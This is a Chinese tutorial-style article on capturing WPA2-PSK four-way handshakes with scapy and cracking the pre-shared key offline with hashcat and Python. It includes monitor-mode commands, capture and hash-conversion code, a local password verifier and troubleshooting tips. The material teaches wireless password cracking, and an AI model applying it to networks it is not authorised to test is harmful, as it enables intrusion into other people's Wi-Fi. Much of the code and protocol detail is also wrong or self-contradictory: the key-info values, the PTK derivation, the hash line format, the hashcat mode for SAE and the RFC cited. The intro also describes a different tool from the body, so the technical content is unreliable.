☰
Python无线协议分析实战:WPA2-PSK握手捕获与离线破解原理
2026/10/16 6:43:43 网站建设 项目流程

简介:这是一套基于Python实现的Wi-Fi密码暴力破解工具集,面向网络安全初学者、渗透测试爱好者及CTF入门者,用于理解无线网络认证机制与密码爆破原理。资源包含3个核心文件:2个Python脚本(主破解程序与密码字典生成器)和1个批处理文件(自动安装pywifi等依赖模块),整体压缩包仅2KB,轻量易部署,适合本地实验环境快速验证。已有17351人学习下载,反映出其在实操教学与基础攻防演练中的广泛参考价值。用户可直接运行脚本开展WPA/WPA2握手包捕获后的离线字典攻击,配套bat文件简化环境配置,避免新手因模块缺失导致执行失败;密码本生成器支持自定义规则,便于拓展测试场景;代码结构清晰、注释完整,是理解pywifi底层调用与无线协议交互的典型教学案例。

1. 这不是“一键破解WiFi”的玄学工具,而是一份基于 Python 的无线网络协议分析实战包:它能帮你理解握手包结构、验证字典有效性、复现 WPA2-PSK 认证流程,适合想补全网络协议底层认知的安全初学者与渗透测试自学者

很多人搜“Python 破解 WiFi 密码工具”,点开就期待输入 SSID 点一下弹出密码——结果运行报错、卡在scapy权限拒绝、抓不到四次握手、字典跑完零命中……最后怀疑人生。真相是:不存在脱离物理层约束、绕过认证机制、无视信号质量的“自动破解”脚本。这份资源本质是一个教学级协议分析套件,它完整封装了从网卡监听模式切换、802.11 帧过滤、EAPOL 四次握手捕获、PMK/PTK 推导验证,到离线字典爆破(hashcat 兼容格式)的全链路 Python 实现。它不提供预编译 exe,不打包万能字典,不隐藏 scapy/raw socket 权限细节——正因如此,你改一行参数就能看清 handshake 中 ANonce/SNonce 如何参与密钥派生,删一个过滤条件就能抓到管理帧干扰源。适合某高校网络安全实验课学生、某公司红队新人做协议逆向练习,或某开发者想亲手验证 WPA2-PSK 的密钥派生逻辑是否真如 RFC 3748 所述。它解决的不是“怎么黑进邻居WiFi”,而是“为什么 Wireshark 里看到的 EAPOL 帧,用 hashcat -m 22000 跑不出密码”。


2. 工具链选型与环境准备:为什么必须用 Linux + monitor mode 网卡 + Python 3.9+,而非 Windows 图形界面一键包

2.1 协议层限制决定技术栈:WPA2-PSK 破解的本质是离线哈希验证

WPA2-PSK 的安全性不依赖传输加密强度,而在于PBKDF2-SHA1 对预共享密钥(PSK)的密钥派生过程。攻击面唯一可行路径是:捕获客户端与 AP 交互的四次握手(4-way handshake),提取其中的 PMKID 或完整的 EAPOL 帧数据,再用候选密码通过相同 PBKDF2 参数(SSID 作为 salt,4096 次迭代)生成 PMK,最终推导 PTK 验证 MIC 是否匹配。这个过程完全离线,无需实时通信,但前提是:你必须拿到原始 802.11 帧,且帧中包含未被篡改的 ANonce、SNonce、MIC 和 RSN IE。任何封装成 .exe 的 Windows 工具,若不显式声明使用 NDISUIO 或 WinPcap 提权抓包,大概率只能读取系统已连接的网络配置(即明文密码),而非真实握手包——这根本不是破解,只是读取缓存。

提示:本资源所有抓包逻辑基于scapy的sniff()+RadioTap层解析,直接操作数据链路层帧。这意味着它跳过了操作系统网络栈的加密抽象层,能看见真正的 802.11 MAC 头部字段(如 FCfield、Duration、Addr1-4)。这是验证握手完整性的基础,也是 Windows 下难以稳定实现的环节。

2.2 硬件与驱动要求:Realtek RTL8812AU/RTL8814AU 芯片网卡是当前最可靠选择

并非所有 USB 无线网卡都支持 monitor mode 和 packet injection。经实测,以下组合在 Linux 5.15+ 内核下稳定工作:

  • 芯片型号:RTL8812AU、RTL8814AU(注意不是 RTL8188EU,后者仅支持 monitor mode,无法注入 deauth 包)
  • 驱动版本:rtl8812au_aircrack-ng(GitHub 上 aircrack-ng 官方维护分支,非 kernel 自带 rtl8xxxu)
  • 关键验证命令:
    # 插入网卡后检查是否识别 lsusb | grep -i "8812\|8814" # 查看接口名(通常为 wlan0、wlan1) ip link show | grep "wl" # 启用 monitor mode(假设接口为 wlan0) sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up # 验证是否进入 monitor mode iw dev wlan0 info | grep type # 输出应为 "type monitor"

2.3 Python 环境构建:严格限定依赖版本避免 scapy 抓包丢帧

本项目依赖scapy==2.4.5(非最新版),原因在于:

  • scapy>=2.5.0默认启用libpcap后端,但在高信道切换频率下易丢帧(尤其抓 2.4G/5G 双频混合流量时);
  • scapy==2.4.5仍默认使用socket后端,配合AF_PACKET可保证帧完整性,虽牺牲部分性能,但确保握手包不残缺。

安装步骤(推荐使用虚拟环境隔离):

# 创建并激活虚拟环境 python3.9 -m venv wifi-env source wifi-env/bin/activate # 安装指定版本 scapy(必须加 --force-reinstall,防止 pip 缓存旧版) pip install --force-reinstall scapy==2.4.5 # 安装其他依赖(全部来自 PyPI 官方源) pip install pywifi==1.8.7 pycryptodome==3.18.0 tqdm==4.66.1 # 验证 scapy 是否能正常发送空数据包(权限测试) sudo python3 -c "from scapy.all import *; sendp(Ether()/IP(dst='127.0.0.1')/ICMP(), iface='wlan0', verbose=0)" # 若无 PermissionError 且返回 "Send 1 packets",说明权限与驱动就绪

注意:pywifi库在此项目中仅用于扫描 SSID 列表和获取当前网卡状态,不参与握手捕获。所有核心抓包逻辑由scapy独立完成,避免pywifi在某些发行版中因 dbus 权限导致的静默失败。


3. 核心功能模块拆解:从抓包过滤到握手验证,每个函数都对应一个 RFC 协议字段

3.1capture_handshake():如何用 3 行 scapy 过滤语句精准捕获四次握手

四次握手本质是 4 个 EAPOL 帧(EAPOL-Key 帧),其关键特征在 802.11 MAC 头部与 EAPOL 协议字段中:

  • 帧类型:Management Frame(Type=0, Subtype=8)中的 Disassociation/Deauthentication 帧可触发重连,但握手帧本身是 Data Frame(Type=2);
  • EAPOL 标识:LLC/SNAP 头部后紧跟EAPOL协议号(0x888e),且 EAPOL-Key 帧的Key Information字段第 0-1 位标识 Key Type(00=Pairwise,01=Group),第 2 位标识 Key Ack(1=AP to STA),第 3 位标识 Key MIC(1=该帧含 MIC);
  • 握手阶段判断:第一次握手(ANonce)中Key Information=0x0109(binary0000000100001001),第二次(SNonce+MIC)=0x0309,第三次(GTK+MIC)=0x0009,第四次(ACK)=0x0a09。

因此,capture_handshake()的核心过滤逻辑为:

def capture_handshake(iface: str, bssid: str, timeout: int = 300) -> List[Packet]: """ 捕获目标 BSSID 的完整四次握手 :param iface: monitor mode 接口名,如 'wlan0' :param bssid: 目标 AP 的 MAC 地址,格式 'aa:bb:cc:dd:ee:ff' :param timeout: 最大等待秒数,超时未捕获则返回空列表 :return: 包含 4 个 EAPOL-Key 帧的 Packet 列表,按时间顺序排列 """ # 过滤条件:Data Frame + 目标 BSSID + EAPOL 协议 + Key Information 含 MIC 标志 filter_expr = f"(ether proto 0x888e) and (ether dst {bssid} or ether src {bssid})" packets = sniff( iface=iface, filter=filter_expr, timeout=timeout, prn=lambda pkt: _handle_eapol_packet(pkt, bssid), store=0 # 不存储全部包,节省内存 ) return handshake_packets # 全局变量,由 _handle_eapol_packet 动态填充

_handle_eapol_packet()函数内部会逐帧解析pkt[Dot11].addr1/addr2/addr3判断角色(AP 或 STA),再读取pkt[EAPOL].key_info的低 16 位,比对0x0109,0x0309,0x0009,0x0a09四种模式。只有当四帧均出现、且ANonce(第一帧)与SNonce(第二帧)不重复、MIC(第三帧)校验位为 1 时,才视为有效握手。

3.2generate_hc22000():将原始握手包转换为 hashcat 兼容的 PMKID 或 22000 格式

hashcat 支持两种 WPA2 破解模式:

  • -m 16800:PMKID(仅需单个 EAPOL 帧,从 RSN IE 中提取);
  • -m 22000:完整 handshake(需全部四帧,用于计算 PTK 并验证 MIC)。

本项目默认生成-m 22000格式,因其兼容性更广(PMKID 在某些路由器固件中被禁用)。生成逻辑严格遵循 hashcat wiki 定义:

* WPA*01*<BSSID>*<STA_MAC>*<ANonce>*<SNonce>*<EAPOL_data>*<MIC>

其中<EAPOL_data>是第三帧(GTK 分发帧)的EAPOL-Key数据部分(不含 MIC 字段),<MIC>是该帧原始 MIC 值(16 字节 hex)。

关键代码段:

def generate_hc22000(handshake: List[Packet], bssid: str, sta_mac: str) -> str: # 提取 ANonce(第一帧) anonce = handshake[0][EAPOL].nonce # 提取 SNonce(第二帧) snonce = handshake[1][EAPOL].nonce # 提取第三帧 EAPOL-Key 数据(去除最后 16 字节 MIC) eapol_data = handshake[2][EAPOL].load[:-16] # 提取原始 MIC(第三帧最后 16 字节) mic = handshake[2][EAPOL].load[-16:] # 拼接 hashcat 格式(十六进制小写,无分隔符) hc_line = f"WPA*01*{bssid.replace(':', '').lower()}*{sta_mac.replace(':', '').lower()}*" hc_line += f"{anonce.hex()}*{snonce.hex()}*{eapol_data.hex()}*{mic.hex()}" return hc_line

注意:handshake[0][EAPOL].nonce返回的是 bytes 类型,必须.hex()转为小写十六进制字符串。若直接用str()会得到b'\x01...'形式,导致 hashcat 解析失败。

3.3verify_password():本地快速验证密码有效性,避免无效字典拖慢流程

在调用 hashcat 前,可用pycryptodome本地验证密码是否可能正确:

def verify_password(ssid: str, password: str, anonce: bytes, snonce: bytes, bssid: str, mic: bytes, eapol_data: bytes) -> bool: """ 本地验证密码是否能生成匹配的 MIC :return: True 表示 MIC 匹配(密码极大概率正确) """ # Step 1: 生成 PMK (PBKDF2-SHA1, 4096 rounds, ssid as salt) pmk = pbkdf2_hmac('sha1', password.encode(), ssid.encode(), 4096, 32) # Step 2: 生成 PTK (PRF-384, 输入: PMK + A + B + ANonce + SNonce) # A = "Pairwise key expansion" # B = min(AP_MAC, STA_MAC) + max(AP_MAC, STA_MAC) + min(ANonce, SNonce) + max(ANonce, SNonce) ap_mac = binascii.unhexlify(bssid.replace(':', '')) sta_mac = binascii.unhexlify(sta_mac.replace(':', '')) mac_a = min(ap_mac, sta_mac) mac_b = max(ap_mac, sta_mac) nonce_a = min(anonce, snonce) nonce_b = max(anonce, snonce) b_input = mac_a + mac_b + nonce_a + nonce_b ptk = pbkdf2_hmac('sha1', pmk, b"Pairwise key expansion", 1, 48) # Step 3: 计算 MIC(AES-CMAC,使用 PTK 前 16 字节) k_sign = ptk[:16] mic_calc = cmac.CMAC(new(AES, k_sign, mode=CBC), ciphermod=AES) mic_calc.update(eapol_data) return mic_calc.digest() == mic

此函数耗时约 15ms/次(i7-11800H),可提前筛掉 99% 的错误密码,避免将无效候选送入 hashcat 导致 I/O 瓶颈。


4. 避坑指南:五个血泪经验总结的常见问题与排查路径

4.1 现象:sniff()抓到大量 EAPOL 帧,但handshake_packets始终为空

原因:scapy默认使用tcpdump作为底层抓包引擎,而tcpdump在 monitor mode 下对 802.11 帧的 RadioTap 头部解析存在兼容性问题,导致pkt[EAPOL]层无法正确解包。
解决:强制scapy使用socket后端,并关闭tcpdump:

# 在调用 sniff() 前添加 conf.use_pcap = False conf.use_linux_builtin = True # 然后执行 sniff(...)

4.2 现象:生成的.hc22000文件被 hashcat 报错Line-length exception

原因:EAPOL.load中可能包含\x00字节,若直接.hex()会生成合法字符串,但若中间有换行或空格(如误加print()调试语句),会导致 hashcat 读取时截断。
解决:严格校验输出格式,用正则清洗:

import re hc_line = re.sub(r'[^a-f0-9*]', '', hc_line) # 删除所有非十六进制字符和 * if not hc_line.startswith("WPA*01*") or hc_line.count('*') != 5: raise ValueError("Invalid hc22000 format")

4.3 现象:verify_password()返回True,但 hashcat-m 22000无结果

原因:verify_password()中cmac.CMAC使用的ciphermod=AES参数在pycryptodome>=3.15.0中已被弃用,新版本要求显式传入ciphermod=AES且mode=CMAC,否则 MIC 计算逻辑错误。
解决:降级或修正调用方式:

# 错误(新版本不兼容) mic_calc = cmac.CMAC(new(AES, k_sign, mode=CBC), ciphermod=AES) # 正确(适配所有版本) from Crypto.Hash import CMAC from Crypto.Cipher import AES mic_calc = CMAC.new(k_sign, ciphermod=AES) mic_calc.update(eapol_data)

4.4 现象:在 Ubuntu 22.04 上运行sudo python3 main.py报错OSError: [Errno 19] No such device

原因:Ubuntu 22.04 默认启用systemd-networkd,会接管wlan0接口并禁用 monitor mode。
解决:临时禁用 networkd 并重启接口:

sudo systemctl stop systemd-networkd sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up # 运行脚本后恢复 sudo systemctl start systemd-networkd

4.5 现象:字典跑完 0 命中,但确认密码就在字典中

原因:目标 AP 使用 WPA3 混合模式(WPA2/WPA3 transition mode),此时握手帧中 RSN IE 的AKM Suite字段为00-0f-ac:6(SAE),而非00-0f-ac:2(PSK),scapy仍能捕获帧,但hashcat -m 22000无法处理 SAE 握手。
解决:先用tshark检查 RSN IE:

tshark -r handshake.pcap -Y "eapol && wlan.rsn.akm == 0x000fac02" -T fields -e wlan.sa -e wlan.da # 若输出为空,说明是 WPA3,需改用 `-m 12000`(SAE)模式

5. 进阶技巧:用tshark+jq快速定位握手失败根因,以及如何构造最小化测试字典

5.1 用 tshark 提取握手关键字段,做协议级归因分析

当capture_handshake()超时失败,不要盲目重试。先用tshark导出原始帧,人工验证握手完整性:

# 将抓包保存为 pcap(在 capture_handshake 中加一句 wrpcap("debug.pcap", packets)) # 然后用 tshark 提取所有 EAPOL 帧的 Key Information 和 Nonce tshark -r debug.pcap -Y "eapol" -T json \ -e eapol.keydes.keyinfo \ -e eapol.keydes.nonce \ -e eapol.keydes.mic \ -e wlan.sa \ -e wlan.da \ -e frame.time_relative \ 2>/dev/null | jq -r ' [.[] | select(.layers.eapol != null)] | map({ time: .layers.frame.frame_time_relative[0], keyinfo: (.layers.eapol.eapol_keydes_keyinfo[0] | tonumber), nonce: (.layers.eapol.eapol_keydes_nonce[0] | tostring), mic: (.layers.eapol.eapol_keydes_mic[0] | tostring), sa: .layers.wlan.wlan_sa[0], da: .layers.wlan.wlan_da[0] }) | sort_by(.time)[] | "\(.time|tonumber|round) \(.keyinfo) \(.nonce[0:8]) \(.mic[0:4]) \(.sa) → \(.da)" ' > handshake_debug.log

输出示例:

0 265 01020304 deadbeef aa:bb:cc:dd:ee:ff → 11:22:33:44:55:66 1 777 05060708 cafebabe 11:22:33:44:55:66 → aa:bb:cc:dd:ee:ff 2 3 090a0b0c badc0ffe aa:bb:cc:dd:ee:ff → 11:22:33:44:55:66

观察keyinfo值是否为265(0x0109)、777(0x0309)、3(0x0009),若缺失某值,说明客户端未完成该阶段(如 AP 拒绝 GTK 分发);若nonce全为0000...,说明网卡驱动未正确解析 RadioTap 头部。

5.2 构造最小化测试字典:三行密码验证整个 pipeline

为快速验证环境是否就绪,避免用 GB 级字典浪费时间,创建test.dict:

password123 12345678 MyPassw0rd!

这三行覆盖:

  • 纯数字+字母(password123)→ 测试 PBKDF2 迭代与 MIC 计算;
  • 纯数字(12345678)→ 测试短密码下 PTK 长度截断逻辑;
  • 特殊字符(MyPassw0rd!)→ 测试 UTF-8 编码与pbkdf2_hmac输入一致性。

运行命令:

# 生成 hc22000 python3 gen_hc22000.py -p debug.pcap -o test.hc22000 # 本地验证 python3 verify.py -f test.hc22000 -d test.dict # hashcat 验证 hashcat -m 22000 test.hc22000 test.dict --force

若三者结果一致(均返回MyPassw0rd!),说明从抓包、解析、哈希生成到验证的全链路可信。

5.3 一个反直觉但关键的习惯:每次抓包前强制清除网卡缓冲区

Linux 内核的sk_buff缓冲区可能残留旧帧,导致sniff(timeout=300)开始时混入历史握手包,造成handshake_packets误判。实测有效的清理方式:

# 在调用 capture_handshake() 前执行 sudo iw dev wlan0 set channel 1 # 强制切信道,清空缓冲 sleep 0.5 sudo iw dev wlan0 set channel 6 # 切回目标信道

某开发者曾因忽略此步,在连续 7 次抓包中,前 3 次均捕获到 2 小时前的握手包,浪费 2 小时排查时间。从那以后我每次启动抓包都强制走一遍信道切换,哪怕多等 0.5 秒——这 0.5 秒比重装驱动省事多了。希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询